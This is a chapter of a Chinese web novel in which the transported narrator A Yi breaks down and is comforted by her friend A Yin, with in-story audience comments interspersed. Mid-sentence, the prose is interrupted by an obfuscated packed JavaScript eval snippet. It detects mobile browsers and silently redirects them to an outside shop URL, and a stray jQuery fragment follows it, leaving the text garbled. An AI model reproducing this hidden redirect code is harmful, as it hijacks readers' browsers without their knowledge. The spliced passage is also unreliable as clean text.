我从内袋里取出那把飞刀,举到身前:“这个还给你。以后……不要再见面了吧。”
我没有看她,手有点发抖,等她收回去。
阿音慢吞吞地从我手里抽出飞刀,手指触到我的掌心,又随即分开。
她的声音中满是错愕:“你……决定了?就这么帮我做了选择?”
对啊,我怎么能帮阿音抉择?应该问问她的。
我脑中轰隆一声炸开,泪水喷涌而出。
“我又做错了!又错了……对不起你……”我捂着头猛烈地晃动起来,好像这样就能甩掉所有的疼痛和错误。
剧烈的疼痛席卷上半身,胸腔不断向外试图扩张,心脏里好像有水在流动,像一条细线,我能感觉到。
我转身想发足狂奔,想逃得远远的,可是左手疼得厉害,迈出一步,就跌在了地上。
为什么?为什么要让阿音看到我这幅狼狈的样子?!
一边忍着疼,一边思考,好像越是痛苦,越能在一瞬间成倍想到更多事。
我趴在地上,气得想捶地。可一想到捶地更是无能狂怒没风度的表现,最终什么都没做,只是默默流泪,好像永远流不尽似的。
“阿易,阿易!你怎么了?”阿音蹲下身,手抚上我的肩,声音里充满关切。
我很想告诉她我没事,等一会就好,等我哭完,等手腕的疼痛过去。
可是……我该怎么告诉阿音,我哭的时候,是发不出任何声音的呢?
“难过的话,哭出来就好了。”阿音温柔地帮我顺背。
我使劲压缩着胸腔,像要把这辈子的委屈都哭出来。
【观众弹幕】
【正在加载99%】:“啧啧,女主又突发什么恶疾啊。吕温灵的意思不是很明显了,还做好姐妹。”
【机甲小草莓】:“应激了呗。我就说她这么割裂,嘴上说自己没用,身体倒是很诚实地去救人。原来不是性格缺陷,是创伤后遗症。”
【天选乐子人】:“哈哈哈这点事也值得矫情半天啊,那人家那被打了的,不更有资格哭?”
【N15星云】:“气死我了她怎么不还手?要是我立刻大闹一场,窝囊死了。”
【列文虎克镜头】:“消消气~废物是这样的啦~我调出了她的心情数据,你们看看,小学时的确很长一段时间很低落,她倒是没说谎。”
【妈粉姐一枚】:“……我们随便看她的过往数据,这样好吗?”
【计数君】:“嗨,数据就摆在那,对我们来说就是透明的。妈粉姐你什么时候心软了?”
【日落不营业】:“好在8137没把自己当受害者。一切都说得通了,难怪她那么向往善良。”
【会飞的萝卜】:“善良有什么用?等着后面被吃吧!”
——
不知过了多久,呼吸没那么急促了,我撑了撑,试着坐起来。
阿音一直陪着我,此刻她坐在我对面,温柔地注视着我。
她摩挲一下手环:“还疼吗?”
我头脑已经有点昏沉,但还是被她这句话惊到了:“你……你怎么知道?”
温灵弯了弯嘴角:“第一次和文瑾见面,她握住你的左手问‘疼吗’,我很好奇你哪里疼,但你说不疼,我也就没问。”
“我忽然想起你讲桃花源,那次你也是脸色突变,好像在忍受什么痛苦。”
“你每次痛苦的时候,都会下意识地捂住左手腕,而你的手腕上,有一个银色手镯。”
“你说是别人送给你的。”阿音试探着说,“可这实在不像一个礼物。”
“……”
我被她惊得说不出话来。
阿音不愧是阿音,心思缜密,观察入微。
我苦笑一下:“阿音,其实我也骗了你。我并非自愿来到这,而是被一个叫‘系统’的东西弄来的。这个手环是为了让我克制动情,否则就会刺痛。”
阿音举起手环仔细端详:“这里面,有针吗?”
“……只怕是电,或者是什么高科技的东西,我也不清楚。”
“高科技?”面对全新的概念,温灵的眼中有点迷茫。
我想了想:“大概就是很先进的技术,我破解不了的那种。”
阿音点头,放下了我的手,没有再问我更多现代的事,只是轻轻揉了揉我的后脑。
“这些我不懂,帮不到你。但你刚才说的那些,都不是你的问题。”
“我现在终于明白,为什么你总是把自己的感受放到最后,腿麻了也不肯说,想笑马上就要收回去。”
“我第一次见你,就是你拼了命也要去救文瑾。我当时被你的勇敢吸引、更为你生死关头也不放弃文瑾而感动震撼,所以很想结识你,决定去寻你,看看你究竟是怎样的人。”
“后来,我看到了。而且,是我这辈子都不会后悔的决定。”
“你没有讨好,没有不配。情感丰沛是你的天赋,你对别人善意满满,但从不强迫别人有所回报。别人说的话,你第一反应是相信而非怀疑。”
“所以,阿易,你连别人都愿意相信,还有什么怀疑你自己的呢?为什么不对自己宽容一点,好一点?”
我被她问住,一时答不出来。
温灵继续说:“如果你现在是另一个人,还会怪闾丘易吗?还会觉得这个人做得不够多、不够好吗?”
我不是闾丘易,什么意思?是要我用旁观者的角度来看吗?
“可是,我不是闾丘易的话,这一切就跟我没关系了呀,我就不会关注别人的事了。”
一个念头在脑中闪过:“阿音,你是说,其实没有那么多人关注我的事,是吗?”
“……也不是。”温灵顿了顿,“但你说的也有理。可能是你之前受到的这种……关注太多了,所以你会特别在意别人的看法。”
阿音真挚地望着我:“其实我是想说,你做得已经很好。我们是朋友,你更要对我有信心。”
“嗯……”我知道阿音是在说我刚刚想和她不再来往的事,羞愧地低下了头,手指缠在一起,“可是,我对自己没信心。我不是完美的人,也犯错……”
“阿易,你看看我。”等我抬起头,阿音继续说下去,“每个人都会犯错,但不同的是如何面对。告诉我,如果有一天你发现你不是朋友心里最好的朋友,你还会跟她绝交吗?”
“我……我也不知道。”我犹豫着说,“可能不会了吧,还是会难过,但应该最后会接受,因为我会尊重她的选择。”
我很快又开始反驳自己:“也说不准,我要是心里太难过了,可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952925|210539||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是会离开,但走之前会告诉她一声,让她也不要再体验这种不明不白的痛苦。”
温灵笑了一声:“说明你在进步啊。我就说你聪明嘛,又有同理心。”
“真的?”我一下抬起头,“阿音,你上次也说我聪敏好学,夫人也说过喜欢我,是真的还是在同我客气?”
说完后又后悔。我都这么说,阿音能说是假的吗?
果然阿音说是真的。
“阿易,我不了解你生长的地方。老师、同学、学校……这些都离我那么遥远。”阿音的眼里有什么在轻轻涌动,“但我眼中的你,一点都不笨不木。我想,可能是当时的你太过痛苦,如果不这样想,会活不下去的吧……”
如果不这样想,会活不下去。
阿音的话击中了我,我愣在原地好久,直到一阵风袭来,激活了我。
“好点了吗?”阿音问我。
我点头:“好多了。”
“天不早了,我们回去吧。”阿音站起来,又来拉我。
“阿音。”我叫住她,“谢谢你为我做的一切。”
温灵扬起一个明亮的笑容:“那我岂不是还要谢你?这样谢来谢去的多麻烦。”
我不好意思地笑笑,把刚刚形成的想法说出来。这一次,我没有顾虑。
“阿音,我以前一直觉得,是这些事一直纠缠着我,但我现在明白,是我自己一直走不出这段阴影。我已经不是孩子,有能力面对这一切。所以……”我轻轻吐字,“我要大步向前走,一直走下去,又快又稳地走下去,把这些事远远地甩到身后。”
“也许有一天,我偶尔还会想到这些。但到了那时,我不会再为此颤抖流泪。”我坚定起来,“我闾丘易可以哭,可以摔倒,可以痛苦,但绝对不能麻木,也不能做被绳子拴住的小象!”
我无奈地摇摇头:“可惜还是做了这么久的小象,虽然已经长大,但被绳子栓得太久了。要是能早一点认识你就好了。不过现在也不晚。”
“被拴住的小象?”温灵重复了一遍。
这个时候有小象吗?好像有,“曹冲称象”嘛。
“就是把刚出生的小象用绳子拴在木柱边,小象肯定会用力挣动,但挣不开。时间一长,小象就放弃了,即使后来长大,拥有足够的力量破除束缚,也不会想到去拔出柱子了。”
温灵若有所思:“我们走吧。”
“阿音,你先走吧,晚了就宵禁了。我想再留一会,可以吗?”
阿音看看我:“好。那我走了。”她走出两步又回来,伸出手掌。那柄飞刀静静地躺在手心。
阿音郑重地说:“给你。以后再也不要说还给我的话。”
我接过来贴在胸前,承诺道:“不会了,我一定会好好保存。”
“阿音,再见!”
温灵笑了笑,转身离开了。
我一直望着阿音的背影,直到消失不见,然后转头跳下河堤,一步步走进河里。
我深吸口气,蹲下身,让自己完全淹没在水里,直到所有的气用完,才露出水面。
我没有死,我能掌控自己的身体。
那些事就像河水,能淹没蹲着的我;但当我站起身来,似乎就不再有威胁。
我涉水上岸,在河边一步步留下湿漉漉的足印。